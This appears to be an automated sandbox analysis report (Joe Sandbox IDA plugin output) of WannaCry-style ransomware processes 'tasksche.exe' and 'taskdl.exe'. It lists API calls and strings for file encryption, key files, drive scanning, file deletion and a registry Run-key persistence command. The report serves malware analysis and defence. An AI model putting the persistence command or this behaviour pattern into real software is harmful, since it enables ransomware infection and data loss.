Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10001760, Relevance: 10.6, APIs: 7, Instructions: 58

APIs

Part of subcall function 10003BB0: CryptDestroyKey.ADVAPI32(?,76E76DBE,10003EFD,10003EE0,?,?,?,?,?,?,?,76E76DBE,00000000), ref: 10003BBB
Part of subcall function 10003BB0: CryptDestroyKey.ADVAPI32(?,76E76DBE,10003EFD,10003EE0,?,?,?,?,?,?,?,76E76DBE,00000000), ref: 10003BD0
Part of subcall function 10003BB0: CryptReleaseContext.ADVAPI32(?,00000000,76E76DBE,10003EFD,10003EE0,?,?,?,?,?,?,?,76E76DBE,00000000), ref: 10003BE7

GlobalFree.KERNEL32(?), ref: 10001797
GlobalFree.KERNEL32(?), ref: 100017C0
WaitForSingleObject.KERNEL32(?,000000FF), ref: 100017E3
CloseHandle.KERNEL32(?), ref: 100017F0
DeleteCriticalSection.KERNEL32(?,?,00000000,100016B2,76E6C426,76E6EA18,00000000,?,00000000,10006DEF,000000FF,10005AC5), ref: 10001807
wcslen.MSVCRT ref: 10001814
DeleteFileW.KERNEL32(?,76E6DE72), ref: 10001822

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10005DC0, Relevance: 9.4, APIs: 6, Instructions: 375

APIs

??0exception@@QAE@ABQBD@Z.MSVCRT ref: 10005DDF
_CxxThrowException.MSVCRT(?,1000AF00), ref: 10005DEF
??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 10005E18
_CxxThrowException.MSVCRT(?,1000AF00), ref: 10005E28
??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 10005E51
_CxxThrowException.MSVCRT(?,1000AF00), ref: 10005E61

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10001830, Relevance: 9.1, APIs: 6, Instructions: 61

APIs

Part of subcall function 10003AC0: CryptImportKey.ADVAPI32(?,1000D054,00000114,?,?,00000008,?,00000000,00000000,10005C48,00000000.pky,00000000.eky), ref: 10003AF9
Part of subcall function 10003AC0: CryptImportKey.ADVAPI32(?,1000CF40,00000114,00000000,00000000,0000000C,?,?,00000000,00000000,10005C48,00000000.pky,00000000.eky), ref: 10003B36
Part of subcall function 10003AC0: CryptDestroyKey.ADVAPI32(?,?,?,00000000,00000000,10005C48,00000000.pky,00000000.eky), ref: 10003B9D

GlobalAlloc.KERNEL32(00000000,00100000,10005340,00000000,76E6C426,00000000,1000580C,00000000.pky,10005340,1000DD8C,76E6DE72), ref: 10001869
GlobalAlloc.KERNEL32(00000000,00100000), ref: 10001881
InitializeCriticalSection.KERNEL32(?), ref: 10001899
CreateThread.KERNEL32(00000000,00000000,100029E0,?,00000000,00000000), ref: 100018AD
GetTickCount.KERNEL32 ref: 100018CD
srand.MSVCRT ref: 100018D4

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10005727, Relevance: 9.1, APIs: 6, Instructions: 58

APIs

GetLogicalDrives.KERNEL32 ref: 10005734
Sleep.KERNEL32(00000BB8), ref: 1000574A
GetLogicalDrives.KERNEL32 ref: 10005752
CreateThread.KERNEL32(00000000,00000000,10005680,00000003,00000000,00000000), ref: 1000578F
CloseHandle.KERNEL32(00000000), ref: 1000579A
ExitThread.KERNEL32 ref: 100057B1

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10005730, Relevance: 9.0, APIs: 6, Instructions: 49

APIs

GetLogicalDrives.KERNEL32 ref: 10005734
Sleep.KERNEL32(00000BB8), ref: 1000574A
GetLogicalDrives.KERNEL32 ref: 10005752
CreateThread.KERNEL32(00000000,00000000,10005680,00000003,00000000,00000000), ref: 1000578F
CloseHandle.KERNEL32(00000000), ref: 1000579A
ExitThread.KERNEL32 ref: 100057B1

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10004990, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51

APIs

time.MSVCRT ref: 100049A8
time.MSVCRT ref: 100049CC

Part of subcall function 10001000: fopen.MSVCRT ref: 1000101B
Part of subcall function 10001000: fread.MSVCRT ref: 1000103B
Part of subcall function 10001000: fwrite.MSVCRT ref: 10001048
Part of subcall function 10001000: fclose.MSVCRT ref: 10001056
Part of subcall function 10001000: fclose.MSVCRT ref: 10001064

Part of subcall function 10004890: GetFullPathNameA.KERNEL32(@WanaDecryptor@.exe,00000208,?,00000000), ref: 100048D3
Part of subcall function 10004890: sprintf.MSVCRT ref: 100048F0
Part of subcall function 10004890: CreateProcessA.KERNEL32 ref: 1000495F
Part of subcall function 10004890: CloseHandle.KERNEL32(?), ref: 10004975
Part of subcall function 10004890: CloseHandle.KERNEL32(?), ref: 1000497C

GetFullPathNameA.KERNEL32(tasksche.exe,00000208,?,00000000), ref: 10004A15

Part of subcall function 100047F0: sprintf.MSVCRT ref: 10004863

Sleep.KERNEL32(00007530), ref: 10004A29

Strings

tasksche.exe, xrefs: 10004A0F

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10004500, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 50

APIs

sprintf.MSVCRT ref: 10004528
GetFileAttributesA.KERNEL32(?), ref: 1000453C
GetFileAttributesA.KERNEL32(00000000.pky), ref: 10004548

Part of subcall function 10003A10: InitializeCriticalSection.KERNEL32(?,76E76DBE,10004558), ref: 10003A28

Part of subcall function 10003D10: CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,00000200,?,?,?,?,76E76DBE,00000000), ref: 10003E2B
Part of subcall function 10003D10: _local_unwind2.MSVCRT ref: 10003E3B
Part of subcall function 10003D10: CryptDecrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,?,?,?,?,76E76DBE,00000000), ref: 10003E70
Part of subcall function 10003D10: strncmp.MSVCRT(00000000,76E76DBE,?,?,?,?,?,76E76DBE,00000000), ref: 10003EA1
Part of subcall function 10003D10: _local_unwind2.MSVCRT ref: 10003EB4

Part of subcall function 10003A60: DeleteCriticalSection.KERNEL32(?,100045A2), ref: 10003A6A

Strings

%08X.dky, xrefs: 10004522
00000000.pky, xrefs: 10004543, 10004561

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 100047F0, Relevance: 7.5, APIs: 1, Strings: 4, Instructions: 46

APIs

Part of subcall function 10001360: AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,768DF708), ref: 1000139C
Part of subcall function 10001360: CheckTokenMembership.ADVAPI32(00000000,?,768DF708,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000), ref: 100013B6
Part of subcall function 10001360: FreeSid.ADVAPI32(?,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 100013C9

Part of subcall function 100014A0: GetComputerNameW.KERNEL32(?,?), ref: 100014D6
Part of subcall function 100014A0: wcslen.MSVCRT ref: 100014EE
Part of subcall function 100014A0: wcslen.MSVCRT ref: 1000150E
Part of subcall function 100014A0: srand.MSVCRT ref: 10001518
Part of subcall function 100014A0: rand.MSVCRT ref: 10001527
Part of subcall function 100014A0: rand.MSVCRT ref: 10001548
Part of subcall function 100014A0: rand.MSVCRT ref: 10001564

sprintf.MSVCRT ref: 10004863

Part of subcall function 10001080: CreateProcessA.KERNEL32 ref: 100010D3
Part of subcall function 10001080: WaitForSingleObject.KERNEL32(?,?), ref: 100010EB
Part of subcall function 10001080: TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010FC
Part of subcall function 10001080: GetExitCodeProcess.KERNEL32(?,?), ref: 10001110
Part of subcall function 10001080: CloseHandle.KERNEL32(?), ref: 10001121
Part of subcall function 10001080: CloseHandle.KERNEL32(?), ref: 10001128

Strings

M, xrefs: 10004819
L, xrefs: 10004814
cmd.exe /c reg add %s /v "%s" /t REG_SZ /d "\"%s\"" /f, xrefs: 1000485D
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 100047FD

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10002940, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45

APIs

Part of subcall function 10002200: wcscpy.MSVCRT ref: 1000222D
Part of subcall function 10002200: wcsrchr.MSVCRT ref: 10002236
Part of subcall function 10002200: _wcsicmp.MSVCRT ref: 1000224B
Part of subcall function 10002200: wcscpy.MSVCRT ref: 1000225E
Part of subcall function 10002200: wcscat.MSVCRT ref: 1000226F
Part of subcall function 10002200: swprintf.MSVCRT(?,%s%s,?,.WNCYR,?,?,?,?), ref: 10002291
Part of subcall function 10002200: GetFileAttributesW.KERNEL32(?), ref: 1000229F
Part of subcall function 10002200: DeleteFileW.KERNEL32(?,?,?,?), ref: 100022C3

wcscat.MSVCRT ref: 1000298D
wcscat.MSVCRT ref: 1000299B
DeleteFileW.KERNEL32(?), ref: 100029B2

Strings

.WNCYR, xrefs: 10002987, 10002995

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 100012D0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39

APIs

Part of subcall function 100011D0: GetCurrentProcess.KERNEL32 ref: 100011E4
Part of subcall function 100011D0: OpenProcessToken.ADVAPI32(00000000), ref: 100011EB
Part of subcall function 100011D0: GetTokenInformation.KERNELBASE(?,00000001,00000000,?,?), ref: 10001214
Part of subcall function 100011D0: GetLastError.KERNEL32 ref: 1000121A
Part of subcall function 100011D0: GlobalAlloc.KERNEL32(00000040,?), ref: 10001234
Part of subcall function 100011D0: GetTokenInformation.ADVAPI32(?,00000001,00000000,?,?), ref: 1000124E
Part of subcall function 100011D0: LoadLibraryA.KERNEL32(advapi32.dll), ref: 1000125F
Part of subcall function 100011D0: GetProcAddress.KERNEL32(00000000,ConvertSidToStringSidW), ref: 10001275
Part of subcall function 100011D0: wcscpy.MSVCRT ref: 100012AB
Part of subcall function 100011D0: GlobalFree.KERNEL32(00000000), ref: 100012B9

GetUserNameW.ADVAPI32 ref: 10001321
_wcsicmp.MSVCRT ref: 10001331

Strings

SYSTEM, xrefs: 1000132B
S-1-5-18, xrefs: 10001308

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10005120, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30

APIs

Part of subcall function 10005060: GetWindowsDirectoryW.KERNEL32(?,00000104,?,?), ref: 10005075
Part of subcall function 10005060: GetTempPathW.KERNEL32(00000104,?), ref: 10005094
Part of subcall function 10005060: wcslen.MSVCRT ref: 100050A1
Part of subcall function 10005060: wcslen.MSVCRT ref: 100050AB
Part of subcall function 10005060: wcslen.MSVCRT ref: 100050B9
Part of subcall function 10005060: swprintf.MSVCRT(?,%C:\%s,?,$RECYCLE), ref: 100050DC
Part of subcall function 10005060: CreateDirectoryW.KERNEL32(?,00000000), ref: 100050E8
Part of subcall function 10005060: sprintf.MSVCRT ref: 100050FE

swprintf.MSVCRT(?,%s\hibsys%s,?,.WNCRYT), ref: 1000516A
DeleteFileW.KERNEL32(?), ref: 10005174

Strings

.WNCRYT, xrefs: 1000515E
%s\hibsys%s, xrefs: 10005164

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10001910, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23

APIs

wcscpy.MSVCRT ref: 10001920
swprintf.MSVCRT(?,%s\%d%s,?,?,.WNCRYT), ref: 1000194B

Strings

.WNCRYT, xrefs: 10001938
%s\%d%s, xrefs: 10001945

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 100027F0, Relevance: 6.1, APIs: 4, Instructions: 111

APIs

??2@YAPAXI@Z.MSVCRT ref: 1000281A

Part of subcall function 10002300: ??2@YAPAXI@Z.MSVCRT ref: 10002332
Part of subcall function 10002300: swprintf.MSVCRT ref: 10002388
Part of subcall function 10002300: FindFirstFileW.KERNELBASE(?,?,?,00000000,00000000,?), ref: 1000239E
Part of subcall function 10002300: ??3@YAXPAX@Z.MSVCRT ref: 100023D2
Part of subcall function 10002300: ??3@YAXPAX@Z.MSVCRT ref: 10002404
Part of subcall function 10002300: wcscmp.MSVCRT ref: 10002442
Part of subcall function 10002300: wcscmp.MSVCRT ref: 10002459
Part of subcall function 10002300: swprintf.MSVCRT(?,%s\%s,?,?), ref: 10002480
Part of subcall function 10002300: ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000,?,?), ref: 100024BE
Part of subcall function 10002300: wcslen.MSVCRT ref: 100024CC
Part of subcall function 10002300: ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 100024E2
Part of subcall function 10002300: ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 10002516
Part of subcall function 10002300: wcscmp.MSVCRT ref: 10002535
Part of subcall function 10002300: wcscmp.MSVCRT ref: 1000254C
Part of subcall function 10002300: wcscmp.MSVCRT ref: 10002563
Part of subcall function 10002300: wcsncpy.MSVCRT ref: 100025D7
Part of subcall function 10002300: wcsncpy.MSVCRT ref: 100025EE
Part of subcall function 10002300: FindNextFileW.KERNELBASE(?,?), ref: 10002634
Part of subcall function 10002300: FindClose.KERNEL32(?), ref: 10002643
Part of subcall function 10002300: _wcsnicmp.MSVCRT ref: 100026A7
Part of subcall function 10002300: ??3@YAXPAX@Z.MSVCRT ref: 10002772
Part of subcall function 10002300: ??3@YAXPAX@Z.MSVCRT ref: 100027A2
Part of subcall function 10002300: ??3@YAXPAX@Z.MSVCRT ref: 100027BC

Part of subcall function 10002940: wcscat.MSVCRT ref: 1000298D
Part of subcall function 10002940: wcscat.MSVCRT ref: 1000299B
Part of subcall function 10002940: DeleteFileW.KERNEL32(?), ref: 100029B2

??3@YAXPAX@Z.MSVCRT ref: 10002899

Part of subcall function 10002BA0: wcslen.MSVCRT ref: 10002BD9
Part of subcall function 10002BA0: EnterCriticalSection.KERNEL32(?,?,10006E59,000000FF,100022E7,?), ref: 10002BFA
Part of subcall function 10002BA0: wcslen.MSVCRT ref: 10002C15
Part of subcall function 10002BA0: ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(00000000,00000001), ref: 10002C23
Part of subcall function 10002BA0: ??2@YAPAXI@Z.MSVCRT ref: 10002C57
Part of subcall function 10002BA0: LeaveCriticalSection.KERNEL32(?), ref: 10002CB8
Part of subcall function 10002BA0: ??3@YAXPAX@Z.MSVCRT ref: 10002CD6
Part of subcall function 10002BA0: LeaveCriticalSection.KERNEL32(?), ref: 10002CE3
Part of subcall function 10002BA0: wcslen.MSVCRT ref: 10002D04
Part of subcall function 10002BA0: DeleteFileW.KERNEL32(?,?,10006E59,000000FF,100022E7,?), ref: 10002D12

??3@YAXPAX@Z.MSVCRT ref: 100028FD
??3@YAXPAX@Z.MSVCRT ref: 10002917

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10005480, Relevance: 6.1, APIs: 4, Instructions: 65

APIs

SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,76E6C426), ref: 100054B6
wcslen.MSVCRT ref: 100054C3
SHGetFolderPathW.SHELL32(00000000,00000005,00000000,00000000,?), ref: 100054F5
wcslen.MSVCRT ref: 100054FC

Part of subcall function 10004A40: SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 10004A97
Part of subcall function 10004A40: wcslen.MSVCRT ref: 10004A9E
Part of subcall function 10004A40: wcsrchr.MSVCRT ref: 10004AC0
Part of subcall function 10004A40: wcschr.MSVCRT ref: 10004AE9
Part of subcall function 10004A40: SHGetFolderPathW.SHELL32(00000000,00000005,00000000,00000000,?), ref: 10004B1B
Part of subcall function 10004A40: wcslen.MSVCRT ref: 10004B25
Part of subcall function 10004A40: wcsrchr.MSVCRT ref: 10004B3D
Part of subcall function 10004A40: swprintf.MSVCRT(?,%s\*.*,?), ref: 10004B87
Part of subcall function 10004A40: FindFirstFileW.KERNEL32(?,?), ref: 10004BA0
Part of subcall function 10004A40: wcscmp.MSVCRT ref: 10004BD7
Part of subcall function 10004A40: wcscmp.MSVCRT ref: 10004BF5
Part of subcall function 10004A40: swprintf.MSVCRT(?,%s\%s\%s,?,?,-00000002), ref: 10004C2F
Part of subcall function 10004A40: wcscmp.MSVCRT ref: 10004C51
Part of subcall function 10004A40: swprintf.MSVCRT(?,%s\%s\%s,?,?,00000000), ref: 10004C79
Part of subcall function 10004A40: FindNextFileW.KERNEL32(?,?), ref: 10004CA2
Part of subcall function 10004A40: FindClose.KERNEL32(?), ref: 10004CB5

Part of subcall function 100027F0: ??2@YAPAXI@Z.MSVCRT ref: 1000281A
Part of subcall function 100027F0: ??3@YAXPAX@Z.MSVCRT ref: 10002899
Part of subcall function 100027F0: ??3@YAXPAX@Z.MSVCRT ref: 100028FD
Part of subcall function 100027F0: ??3@YAXPAX@Z.MSVCRT ref: 10002917

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Analysis Process: taskdl.exe PID: 3320 Parent PID: 3240

Execution Graph

Execution Coverage:	14.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18.3%
Total number of Nodes:	93
Total number of Limit Nodes:	1

Executed Functions

Function 004018F6, Relevance: 16.6, APIs: 11, Instructions: 111

APIs

__set_app_type.MSVCRT ref: 00401923
__p__fmode.MSVCRT ref: 00401938
__p__commode.MSVCRT ref: 00401946
__setusermatherr.MSVCRT ref: 00401972

Part of subcall function 00401A66: _controlfp.MSVCRT ref: 00401A70

_initterm.MSVCRT ref: 00401988
__getmainargs.MSVCRT ref: 004019AB
_initterm.MSVCRT ref: 004019BB
GetStartupInfoA.KERNEL32(?), ref: 004019FA
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00401A1E

Part of subcall function 004012C0: GetLogicalDrives.KERNEL32 ref: 004012C7
Part of subcall function 004012C0: GetDriveTypeW.KERNEL32(?,?,?,?,00000000,?,0000000A), ref: 0040130A
Part of subcall function 004012C0: Sleep.KERNEL32(0000000A,00000000,?,0000000A), ref: 0040131C

exit.MSVCRT ref: 00401A2E
_XcptFilter.MSVCRT ref: 00401A40

Memory Dump Source

Source File: 0000000A.00000002.1619051545.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1619044990.00400000.00000002.sdmp
Associated: 0000000A.00000002.1619057686.00402000.00000002.sdmp
Associated: 0000000A.00000002.1619064290.00403000.00000004.sdmp
Associated: 0000000A.00000002.1619070180.00404000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_taskdl.jbxd

Function 004012C0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41

APIs

GetLogicalDrives.KERNEL32 ref: 004012C7
GetDriveTypeW.KERNEL32(?,?,?,?,00000000,?,0000000A), ref: 0040130A

Part of subcall function 00401080: swprintf.MSVCRT(?,%s\*%s,?,.WNCRYT,76E6EEF2,00000000), ref: 004010F5
Part of subcall function 00401080: FindFirstFileW.KERNEL32(?,?), ref: 00401107
Part of subcall function 00401080: swprintf.MSVCRT(?,%s\%s,?,?), ref: 00401168
Part of subcall function 00401080: ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000), ref: 00401177
Part of subcall function 00401080: wcslen.MSVCRT ref: 00401182
Part of subcall function 00401080: ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(00000000,00000001), ref: 00401194
Part of subcall function 00401080: ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(00000000), ref: 004011B6
Part of subcall function 00401080: ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 004011E7
Part of subcall function 00401080: FindNextFileW.KERNEL32(00000000,?), ref: 004011F6
Part of subcall function 00401080: FindClose.KERNEL32(00000000), ref: 00401205
Part of subcall function 00401080: DeleteFileW.KERNEL32(?), ref: 0040123A
Part of subcall function 00401080: ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00401258
Part of subcall function 00401080: ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00401282

Sleep.KERNEL32(0000000A,00000000,?,0000000A), ref: 0040131C

Strings

:\, xrefs: 004012E0

Memory Dump Source

Source File: 0000000A.00000002.1619051545.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1619044990.00400000.00000002.sdmp
Associated: 0000000A.00000002.1619057686.00402000.00000002.sdmp
Associated: 0000000A.00000002.1619064290.00403000.00000004.sdmp
Associated: 0000000A.00000002.1619070180.00404000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_taskdl.jbxd

Non-executed Functions

Function 00401080, Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 173

APIs

Part of subcall function 00401000: GetWindowsDirectoryW.KERNEL32(00000019,00000104,76E6C426,00000019,004010D5,?,?,76E6C426,00000019,76E6EEF2,00000000), ref: 0040100C
Part of subcall function 00401000: GetTempPathW.KERNEL32(00000104,00000019), ref: 00401028
Part of subcall function 00401000: wcslen.MSVCRT ref: 00401035
Part of subcall function 00401000: wcslen.MSVCRT ref: 0040103F
Part of subcall function 00401000: wcslen.MSVCRT ref: 0040104D
Part of subcall function 00401000: swprintf.MSVCRT(00000019,%C:\%s,?,$RECYCLE), ref: 0040106A

swprintf.MSVCRT(?,%s\*%s,?,.WNCRYT,76E6EEF2,00000000), ref: 004010F5
FindFirstFileW.KERNEL32(?,?), ref: 00401107
swprintf.MSVCRT(?,%s\%s,?,?), ref: 00401168
?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000), ref: 00401177
wcslen.MSVCRT ref: 00401182
?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(00000000,00000001), ref: 00401194
?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(00000000), ref: 004011B6

Part of subcall function 004013D0: ??2@YAPAXI@Z.MSVCRT ref: 00401423
Part of subcall function 004013D0: ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,?,00000001,?), ref: 004014C3
Part of subcall function 004013D0: ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z.MSVCP60(?,00000000,?,768FE87C,00000000,00000000,?,?,00000001,?), ref: 004015C0
Part of subcall function 004013D0: ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z.MSVCP60(?,00000000,?,768FE87C,00000000,00000000,?,?,00000001,?), ref: 0040163D
Part of subcall function 004013D0: ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z.MSVCP60(?,00000000,?,768FE87C,00000000,00000000,?,?,00000001,?), ref: 0040166A

?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 004011E7
FindNextFileW.KERNEL32(00000000,?), ref: 004011F6
FindClose.KERNEL32(00000000), ref: 00401205
DeleteFileW.KERNEL32(?), ref: 0040123A
